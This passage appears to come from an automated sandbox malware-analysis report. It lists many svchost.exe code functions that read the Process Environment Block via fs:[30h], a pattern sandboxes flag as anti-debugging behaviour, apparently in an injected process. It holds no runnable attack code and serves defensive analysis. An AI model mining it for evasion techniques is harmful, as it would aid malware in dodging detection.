Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72619 mov eax, dword ptr fs:[00000030h]	2_2_03A72619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]	2_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF866E mov eax, dword ptr fs:[00000030h]	2_2_03AF866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]	2_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A660 mov eax, dword ptr fs:[00000030h]	2_2_03A6A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A62674 mov eax, dword ptr fs:[00000030h]	2_2_03A62674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4C640 mov eax, dword ptr fs:[00000030h]	2_2_03A4C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB05A7 mov eax, dword ptr fs:[00000030h]	2_2_03AB05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]	2_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A545B1 mov eax, dword ptr fs:[00000030h]	2_2_03A545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32582 mov eax, dword ptr fs:[00000030h]	2_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32582 mov ecx, dword ptr fs:[00000030h]	2_2_03A32582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64588 mov eax, dword ptr fs:[00000030h]	2_2_03A64588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E59C mov eax, dword ptr fs:[00000030h]	2_2_03A6E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E5E7 mov eax, dword ptr fs:[00000030h]	2_2_03A5E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A325E0 mov eax, dword ptr fs:[00000030h]	2_2_03A325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]	2_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6C5ED mov eax, dword ptr fs:[00000030h]	2_2_03A6C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]	2_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E5CF mov eax, dword ptr fs:[00000030h]	2_2_03A6E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A365D0 mov eax, dword ptr fs:[00000030h]	2_2_03A365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A5D0 mov eax, dword ptr fs:[00000030h]	2_2_03A6A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535 mov eax, dword ptr fs:[00000030h]	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]	2_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]	2_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]	2_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]	2_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5E53E mov eax, dword ptr fs:[00000030h]	2_2_03A5E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6500 mov eax, dword ptr fs:[00000030h]	2_2_03AC6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04500 mov eax, dword ptr fs:[00000030h]	2_2_03B04500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]	2_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]	2_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6656A mov eax, dword ptr fs:[00000030h]	2_2_03A6656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]	2_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38550 mov eax, dword ptr fs:[00000030h]	2_2_03A38550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A364AB mov eax, dword ptr fs:[00000030h]	2_2_03A364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A644B0 mov ecx, dword ptr fs:[00000030h]	2_2_03A644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABA4B0 mov eax, dword ptr fs:[00000030h]	2_2_03ABA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA49A mov eax, dword ptr fs:[00000030h]	2_2_03AEA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A304E5 mov ecx, dword ptr fs:[00000030h]	2_2_03A304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]	2_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]	2_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2E420 mov eax, dword ptr fs:[00000030h]	2_2_03A2E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2C427 mov eax, dword ptr fs:[00000030h]	2_2_03A2C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB6420 mov eax, dword ptr fs:[00000030h]	2_2_03AB6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6A430 mov eax, dword ptr fs:[00000030h]	2_2_03A6A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]	2_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]	2_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68402 mov eax, dword ptr fs:[00000030h]	2_2_03A68402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC460 mov ecx, dword ptr fs:[00000030h]	2_2_03ABC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]	2_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]	2_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5A470 mov eax, dword ptr fs:[00000030h]	2_2_03A5A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E443 mov eax, dword ptr fs:[00000030h]	2_2_03A6E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEA456 mov eax, dword ptr fs:[00000030h]	2_2_03AEA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2645D mov eax, dword ptr fs:[00000030h]	2_2_03A2645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5245A mov eax, dword ptr fs:[00000030h]	2_2_03A5245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]	2_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40BBE mov eax, dword ptr fs:[00000030h]	2_2_03A40BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_03AE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4BB0 mov eax, dword ptr fs:[00000030h]	2_2_03AE4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38BF0 mov eax, dword ptr fs:[00000030h]	2_2_03A38BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5EBFC mov eax, dword ptr fs:[00000030h]	2_2_03A5EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABCBF0 mov eax, dword ptr fs:[00000030h]	2_2_03ABCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]	2_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]	2_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A50BCB mov eax, dword ptr fs:[00000030h]	2_2_03A50BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]	2_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]	2_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30BCD mov eax, dword ptr fs:[00000030h]	2_2_03A30BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADEBD0 mov eax, dword ptr fs:[00000030h]	2_2_03ADEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]	2_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5EB20 mov eax, dword ptr fs:[00000030h]	2_2_03A5EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]	2_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF8B28 mov eax, dword ptr fs:[00000030h]	2_2_03AF8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAEB1D mov eax, dword ptr fs:[00000030h]	2_2_03AAEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2CB7E mov eax, dword ptr fs:[00000030h]	2_2_03A2CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]	2_2_03AE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE4B4B mov eax, dword ptr fs:[00000030h]	2_2_03AE4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]	2_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC6B40 mov eax, dword ptr fs:[00000030h]	2_2_03AC6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFAB40 mov eax, dword ptr fs:[00000030h]	2_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AD8B42 mov eax, dword ptr fs:[00000030h]	2_2_03AD8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADEB50 mov eax, dword ptr fs:[00000030h]	2_2_03ADEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]	2_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A38AA0 mov eax, dword ptr fs:[00000030h]	2_2_03A38AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A86AA4 mov eax, dword ptr fs:[00000030h]	2_2_03A86AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80 mov eax, dword ptr fs:[00000030h]	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B04A80 mov eax, dword ptr fs:[00000030h]	2_2_03B04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A68A90 mov edx, dword ptr fs:[00000030h]	2_2_03A68A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]	2_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6AAEE mov eax, dword ptr fs:[00000030h]	2_2_03A6AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]	2_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]	2_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A86ACC mov eax, dword ptr fs:[00000030h]	2_2_03A86ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30AD0 mov eax, dword ptr fs:[00000030h]	2_2_03A30AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]	2_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64AD0 mov eax, dword ptr fs:[00000030h]	2_2_03A64AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CA24 mov eax, dword ptr fs:[00000030h]	2_2_03A6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5EA2E mov eax, dword ptr fs:[00000030h]	2_2_03A5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]	2_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A54A35 mov eax, dword ptr fs:[00000030h]	2_2_03A54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CA38 mov eax, dword ptr fs:[00000030h]	2_2_03A6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABCA11 mov eax, dword ptr fs:[00000030h]	2_2_03ABCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6CA6F mov eax, dword ptr fs:[00000030h]	2_2_03A6CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADEA60 mov eax, dword ptr fs:[00000030h]	2_2_03ADEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]	2_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AACA72 mov eax, dword ptr fs:[00000030h]	2_2_03AACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A36A50 mov eax, dword ptr fs:[00000030h]	2_2_03A36A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]	2_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40A5B mov eax, dword ptr fs:[00000030h]	2_2_03A40A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0 mov eax, dword ptr fs:[00000030h]	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]	2_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A309AD mov eax, dword ptr fs:[00000030h]	2_2_03A309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov esi, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB89B3 mov eax, dword ptr fs:[00000030h]	2_2_03AB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABE9E0 mov eax, dword ptr fs:[00000030h]	2_2_03ABE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]	2_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A629F9 mov eax, dword ptr fs:[00000030h]	2_2_03A629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC69C0 mov eax, dword ptr fs:[00000030h]	2_2_03AC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3A9D0 mov eax, dword ptr fs:[00000030h]	2_2_03A3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A649D0 mov eax, dword ptr fs:[00000030h]	2_2_03A649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA9D3 mov eax, dword ptr fs:[00000030h]	2_2_03AFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB892A mov eax, dword ptr fs:[00000030h]	2_2_03AB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC892B mov eax, dword ptr fs:[00000030h]	2_2_03AC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]	2_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAE908 mov eax, dword ptr fs:[00000030h]	2_2_03AAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ABC912 mov eax, dword ptr fs:[00000030h]	2_2_03ABC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]	2_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A28918 mov eax, dword ptr fs:[00000030h]	2_2_03A28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962 mov eax, dword ptr fs:[00000030h]	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]	2_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov edx, dword ptr fs:[00000030h]	2_2_03A7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7096E mov eax, dword ptr fs:[00000030h]	2_2_03A7096E
